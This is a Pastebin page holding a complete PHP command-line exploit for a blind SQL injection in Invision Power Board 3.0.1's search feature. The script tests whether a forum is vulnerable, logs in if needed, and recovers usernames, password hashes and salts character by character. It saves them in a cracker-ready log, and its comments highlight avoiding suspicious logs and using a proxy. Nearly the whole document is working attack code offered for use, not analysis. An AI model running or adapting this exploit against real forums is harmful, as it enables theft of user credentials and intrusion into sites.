Advertisement
Guest User

Untitled

a guest
Dec 8th, 2017
353
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.62 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ALL);
  3. ///////////////////////////////////////////////////////////////////////
  4. ///////////////////////////////////////////////////////////////////////
  5. // IPB 3.0.1 sql injection exploit
  6. // Version 1.0
  7. // written by Cryptovirus
  8. // http://de.crypt.in/
  9. // 31. january 2010
  10. //
  11. // FEATURES:
  12. // 1. Fetching algorithm optimized for speed
  13. // 2. Attack goes through $_POST, so no suspicious logs
  14. // 3. Pretesting saves time if IPB is not vulnerable
  15. // 4. curl extension autoloading
  16. // 5. log format compatible with passwordspro
  17. //
  18. // NB! This exploit is meant to be run as php CLI!
  19. // http://www.php.net/features.commandline
  20. ///////////////////////////////////////////////////////////////////////
  21. ///////////////////////////////////////////////////////////////////////
  22. //=====================================================================
  23. $cli = php_sapi_name() === 'cli';
  24. //=====================================================================
  25. // Die, if executed from webserver
  26. //=====================================================================
  27. if(!$cli)
  28. {
  29. echo "<html><head><title>Attention!</title></head>\n";
  30. echo "<body><br /><br /><center>\n";
  31. echo "<h1>Error!</h1>\n";
  32. echo "This exploit is meant to be used as php CLI script!<br />\n";
  33. echo "More information:<br />\n";
  34. echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
  35. echo "This script will not run through a webserver.<br />\n";
  36. echo "</center></body></html>\n";
  37. exit;
  38. }
  39. //=====================================================================
  40. // Print the awesome de.crypt.in logo
  41. //=====================================================================
  42. echo "\n _ _ _ ";
  43. echo "\n __| | ___ ___ _ __ _ _ _ __ | |_ (_)_ __ ";
  44. echo "\n / _` |/ _ \ / __| '__| | | | '_ \| __| | | '_ \ ";
  45. echo "\n| (_| | __/| (__| | | |_| | |_) | |_ _| | | | |";
  46. echo "\n \__,_|\___(_)___|_| \__, | .__/ \__(_)_|_| |_|";
  47. echo "\n |___/|_| \n\n";
  48. //=====================================================================
  49. // Check if all command line arguments were passed
  50. //=====================================================================
  51. if(!isset($argv[1])||!isset($argv[2])||!isset($argv[3])){
  52. echo "Usage: php ".$_SERVER['PHP_SELF']." <target> <userid> <option> [login] [password]\n";
  53. echo "\n";
  54. echo "NOTE: Login and password are optional, use for forums that require registration.\n";
  55. echo "Options: 1 - Fetch username, 2 - Fetch password hash\n\n";
  56. echo "Example: php ".$_SERVER['PHP_SELF']." http://ipb.com/board/ 1 1 foo bar\n";
  57. die;
  58. }
  59. //=====================================================================
  60. // Set some important variables...
  61. //=====================================================================
  62. $topicname = '';
  63. $url = $argv[1];
  64. $chosen_id = $argv[2];
  65. $ch_option = $argv[3];
  66. if(isset($argv[4])){
  67. if(isset($argv[5])){
  68. $user_login = $argv[4];
  69. $user_pass = $argv[5];
  70. }
  71. else{
  72. echo "Error: Password not specified with username\n";
  73. die;
  74. }
  75. }
  76. # Proxy settings
  77. # Be sure to use proxy :)
  78. //$proxy_ip_port = '127.0.0.1:8118';
  79. //$proxy_user_password = 'someuser:somepassword';
  80. $outfile = './ipb_log.txt'; //Log file
  81.  
  82. if(!extension_loaded('curl'))
  83. {
  84. if(!dl('php_curl.dll'))
  85. {
  86. die("Curl extension not loaded!\n Fatal exit ...\n");
  87. }
  88. else
  89. {
  90. echo "Curl loading success\n";
  91. }
  92. }
  93. //=====================================================================
  94. xecho("Target: $url\n");
  95. xecho("Testing target URL ... \n");
  96. test_target_url();
  97. xecho("Target URL seems to be valid\n");
  98. add_line("==========================================");
  99. add_line("Target: $url");
  100. if(isset($argv[4])){
  101. login_to_forum($argv[4], $argv[5]);
  102. }
  103. $i = $chosen_id;
  104. echo "Fetching topics from ID $i\n";
  105. if(!fetch_target_id($i))
  106. {
  107. echo "No topics found.\n";
  108. fwrite(STDOUT, "Last ditch effort, enter topic: ");
  109. $topicname = trim(fgets(STDIN));
  110. }
  111. else echo "Topic found! Hacktime.\n";
  112.  
  113. // Check chosen option and proceed accordingly
  114. add_line("------------------------------------------");
  115. if($ch_option == 2){
  116. $hash = get_hash($i);
  117. $salt = get_salt($i);
  118. $line = "$i:$hash:$salt";
  119. add_line($line);
  120. xecho("\n------------------------------------------\n");
  121. xecho("User ID: $i\n");
  122. xecho("Hash: $hash\n");
  123. xecho("Salt: $salt");
  124. xecho("\n------------------------------------------\n");
  125. }
  126. else if($ch_option == 1){
  127. $uname = get_user($i);
  128. $line = "The username for id $i is $uname";
  129. add_line($line);
  130. xecho("$uname");
  131. }
  132. xecho("\nQuestions and feedback - http://de.crypt.in/ \n");
  133. die(" \n");
  134. //////////////////////////////////////////////////////////////////////
  135. function login_to_forum($user, $pass)
  136. {
  137. global $url;
  138. $post = 'app=core&module=global&section=login&do=process&username='.$user.'&password='.$pass.'&rememberMe=1';
  139. $buff = trim(make_post($url, $post, '', $url));
  140. if(strpos($buff,'The login was successful!')>0){
  141. xecho("Logged in.\n");
  142. }
  143. else{
  144. xecho("Error: Unable to login.");
  145. die;
  146. }
  147. }
  148. //////////////////////////////////////////////////////////////////////
  149. function test_target_url()
  150. {
  151. global $url;
  152.  
  153. $post = 'app=core&module=search&section=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%5Ball%5D=1&content_title_only=1&search_term=test%2527';
  154. $buff = trim(make_post($url, $post, '', $url));
  155.  
  156. if(strpos($buff,'Moved Permanently')>0)
  157. {
  158. die('Ivalid. Try adding trailing slash to url. Exiting ...');
  159. }
  160.  
  161. if(strpos($buff,'No results found for')>0)
  162. {
  163. die('Target is patched? Exiting ...');
  164. }
  165. }
  166. //////////////////////////////////////////////////////////////////////
  167. function fetch_target_id($id)
  168. {
  169. global $url, $topicname;
  170. $post = 'app=core&module=search&do=user_posts&mid='.$id.'&view_by_title=1&search_filter_app%5Bforums%5D=1';
  171. $buff = trim(make_post($url, $post, '', $url));
  172. if(strpos($buff,'View result')>0){
  173. $location = strpos($buff,'View result');
  174. $start = strpos($buff,'>',$location)+1;
  175. $end = strpos($buff,'</a>',$start);
  176. $topicname = substr($buff,$start,($end-$start));
  177. return true;
  178. }
  179. else return false;
  180. }
  181. ///////////////////////////////////////////////////////////////////////
  182. function get_salt($id)
  183. {
  184. $len = 5;
  185. $out = '';
  186. xecho("Finding salt ...\n");
  187. for($i = 1; $i < $len + 1; $i ++)
  188. {
  189. $ch = get_saltchar($i, $id);
  190. xecho("Got pos $i --> $ch\n");
  191. $out .= "$ch";
  192. xecho("Current salt: $out \n");
  193. }
  194. xecho("\nFinal salt for ID $id: $out\n\n");
  195. return $out;
  196. }
  197. ///////////////////////////////////////////////////////////////////////
  198. function get_saltchar($pos, $id)
  199. {
  200. global $prefix;
  201. $char = '';
  202. $min = 32;
  203. $max = 128;
  204. $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_salt,'.$pos.',1))';
  205. $curr = 0;
  206. while(1)
  207. {
  208. $area = $max - $min;
  209. if($area < 2 )
  210. {
  211. $post = $pattern . "=$max";
  212. $eq = test_condition($post);
  213. if($eq)
  214. {
  215. $char = chr($max);
  216. }
  217. else
  218. {
  219. $char = chr($min);
  220. }
  221. break;
  222. }
  223.  
  224. $half = intval(floor($area / 2));
  225. $curr = $min + $half;
  226. $post = $pattern . '%253e' . $curr;
  227. $bigger = test_condition($post);
  228. if($bigger)
  229. {
  230. $min = $curr;
  231. }
  232. else
  233. {
  234. $max = $curr;
  235. }
  236. xecho("Current test: $curr-$max-$min\n");
  237. }
  238. return $char;
  239. }
  240. ///////////////////////////////////////////////////////////////////////
  241. function get_hash($id)
  242. {
  243. $len = 32;
  244. $out = '';
  245. xecho("Finding hash ...\n");
  246. for($i = 1; $i < $len + 1; $i ++)
  247. {
  248. $ch = get_hashchar($i, $id);
  249. xecho("Got pos $i --> $ch\n");
  250. $out .= "$ch";
  251. xecho("Current hash: $out \n");
  252. }
  253. xecho("\nFinal hash for ID $id: $out\n\n");
  254. return $out;
  255. }
  256. ///////////////////////////////////////////////////////////////////////
  257. function get_hashchar($pos, $id)
  258. {
  259. global $prefix;
  260. $char = '';
  261. $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_hash,'.$pos.',1))';
  262. // First let's determine, if it's number or letter
  263. $post = $pattern . '%253e57';
  264. $letter = test_condition($post);
  265. if($letter)
  266. {
  267. $min = 97;
  268. $max = 102;
  269. xecho("Char to find is [a-f]\n");
  270. }
  271. else
  272. {
  273. $min = 48;
  274. $max = 57;
  275. xecho("Char to find is [0-9]\n");
  276. }
  277. $curr = 0;
  278. while(1)
  279. {
  280. $area = $max - $min;
  281. if($area < 2 )
  282. {
  283. $post = $pattern . "=$max";
  284. $eq = test_condition($post);
  285. if($eq)
  286. {
  287. $char = chr($max);
  288. }
  289. else
  290. {
  291. $char = chr($min);
  292. }
  293. break;
  294. }
  295.  
  296. $half = intval(floor($area / 2));
  297. $curr = $min + $half;
  298. $post = $pattern . '%253e' . $curr;
  299. $bigger = test_condition($post);
  300. if($bigger)
  301. {
  302. $min = $curr;
  303. }
  304. else
  305. {
  306. $max = $curr;
  307. }
  308. xecho("Current test: $curr-$max-$min\n");
  309. }
  310. return $char;
  311. }
  312. ///////////////////////////////////////////////////////////////////////
  313. ///////////////////////////////////////////////////////////////////////
  314. function get_user($id)
  315. {
  316. $len = 32;
  317. $out = '';
  318.  
  319. xecho("Finding username ...\n");
  320.  
  321. for($i = 1; $i < $len + 1; $i ++)
  322. {
  323. $ch = get_userchar($i, $id);
  324. xecho("Got pos $i --> $ch\n");
  325. $out .= "$ch";
  326. xecho("Current username: $out \n");
  327. }
  328.  
  329. xecho("\nFinal username for ID $id: $out\n\n");
  330.  
  331. return $out;
  332. }
  333. ///////////////////////////////////////////////////////////////////////
  334. function get_userchar($pos, $id)
  335. {
  336. global $prefix;
  337.  
  338. $char = '';
  339. $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.name,'.$pos.',1))';
  340.  
  341. // First let's determine, if it's number or letter
  342. $post = $pattern . '%253e57';
  343. $letter = test_condition($post);
  344.  
  345. if($letter)
  346. {
  347. $min = 65;
  348. $max = 122;
  349. xecho("Char to find is [a-f]\n");
  350. }
  351. else
  352. {
  353. $min = 48;
  354. $max = 57;
  355. xecho("Char to find is [0-9]\n");
  356. }
  357.  
  358. $curr = 0;
  359.  
  360. while(1)
  361. {
  362. $area = $max - $min;
  363. if($area < 2 )
  364. {
  365. $post = $pattern . "=$max";
  366. $eq = test_condition($post);
  367.  
  368. if($eq)
  369. {
  370. $char = chr($max);
  371. }
  372. else
  373. {
  374. $char = chr($min);
  375. }
  376.  
  377. break;
  378. }
  379.  
  380. $half = intval(floor($area / 2));
  381. $curr = $min + $half;
  382.  
  383. $post = $pattern . '%253e' . $curr;
  384.  
  385. $bigger = test_condition($post);
  386.  
  387. if($bigger)
  388. {
  389. $min = $curr;
  390. }
  391. else
  392. {
  393. $max = $curr;
  394. }
  395.  
  396. xecho("Current test: $curr-$max-$min\n");
  397. }
  398.  
  399. return $char;
  400. }
  401. ///////////////////////////////////////////////////////////////////////
  402. function test_condition($p)
  403. {
  404. global $url;
  405. global $topicname;
  406.  
  407. $bret = false;
  408. $maxtry = 10;
  409. $try = 1;
  410.  
  411. $pattern = 'app=core&module=search&section=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%%5Ball%%5D=1&content_title_only=1&search_term='.$topicname.'%%2527 IN BOOLEAN MODE) AND %s AND MATCH(t.title) AGAINST(%%2527'.$topicname;
  412. $post = sprintf($pattern, $p);
  413.  
  414. while(1)
  415. {
  416. $buff = trim(make_post($url, $post, '', $url));
  417.  
  418. if(strpos($buff,'Your search for the term <em><strong>')>0)
  419. {
  420. $bret = true;
  421. break;
  422. }
  423. elseif(strpos($buff,'No results found for')>0)
  424. {
  425. break;
  426. }
  427. elseif(strpos($buff, 'Driver Error</title>') !== false)
  428. {
  429. die("Sql error! Wrong prefix?\nExiting ... ");
  430. }
  431. else
  432. {
  433. xecho("test_condition() - try $try - invalid return value ...\n");
  434. xecho("Will wait 30 seconds for flood control. Expect 2-3 tries.\n");
  435. xecho("This is going to take years...\n");
  436. sleep(10);
  437. $try ++;
  438. if($try > $maxtry)
  439. {
  440. die("Too many tries - exiting ...\n");
  441. }
  442. else
  443. {
  444. xecho("Trying again - try $try ...\n");
  445. }
  446. }
  447. }
  448.  
  449. return $bret;
  450. }
  451. ///////////////////////////////////////////////////////////////////////
  452. function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
  453. {
  454. $ch = curl_init();
  455. $timeout = 120;
  456. curl_setopt ($ch, CURLOPT_URL, $url);
  457. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  458. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  459. curl_setopt($ch, CURLOPT_POST, 1);
  460. curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
  461. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  462. curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
  463. curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
  464. curl_setopt ($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
  465.  
  466.  
  467. if(!empty($GLOBALS['proxy_ip_port']))
  468. {
  469. curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);
  470.  
  471. if(!empty($GLOBALS['proxy_user_password']))
  472. {
  473. curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
  474. }
  475. }
  476.  
  477. if(!empty($cookie))
  478. {
  479. curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
  480. }
  481.  
  482. if(!empty($referer))
  483. {
  484. curl_setopt ($ch, CURLOPT_REFERER, $referer);
  485. }
  486.  
  487. if($headers === TRUE)
  488. {
  489. curl_setopt ($ch, CURLOPT_HEADER, TRUE);
  490. }
  491. else
  492. {
  493. curl_setopt ($ch, CURLOPT_HEADER, FALSE);
  494. }
  495.  
  496. $fc = curl_exec($ch);
  497. curl_close($ch);
  498.  
  499. return $fc;
  500. }
  501. ///////////////////////////////////////////////////////////////////////
  502. function add_line($line)
  503. {
  504. global $outfile;
  505. $line .= "\r\n";
  506. $fh = fopen($outfile, 'ab');
  507. fwrite($fh, $line);
  508. fclose($fh);
  509. }
  510. ///////////////////////////////////////////////////////////////////////
  511. function xecho($line)
  512. {
  513. if($GLOBALS['cli'])
  514. {
  515. echo "$line";
  516. }
  517. else
  518. {
  519. $line = nl2br(htmlspecialchars($line));
  520. echo "$line";
  521. }
  522. }
  523. ///////////////////////////////////////////////////////////////////////
  524. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement